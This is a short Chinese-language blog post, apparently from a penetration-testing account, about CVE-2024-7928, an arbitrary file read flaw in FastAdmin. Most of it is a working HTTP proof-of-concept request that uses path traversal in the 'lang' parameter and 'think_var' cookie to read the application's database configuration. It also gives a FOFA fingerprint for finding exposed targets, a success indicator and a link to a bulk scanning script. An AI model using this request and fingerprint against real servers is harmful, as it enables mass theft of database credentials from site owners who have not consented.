CVE-2024-7928 FastAdmin 任意文件读取 全网20w+潜在风险资产 含批量验证脚本

合规渗透 合规渗透 2024-08-21 21:38

fofa icon_hash="-1036943727"

漏洞复现：

poc
GET /index/ajax/lang?lang=..//..//application/database HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: keep-alive
Cookie: think_var=..%2F%2F..%2F%2Fapplication%2Fdatabase
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

请求该url，存在漏洞会包含字符
jsonpReturn xxxxx
 如下图

批量验证脚本：

https://github.com/bigb0x/CVE-2024-7928/tree/main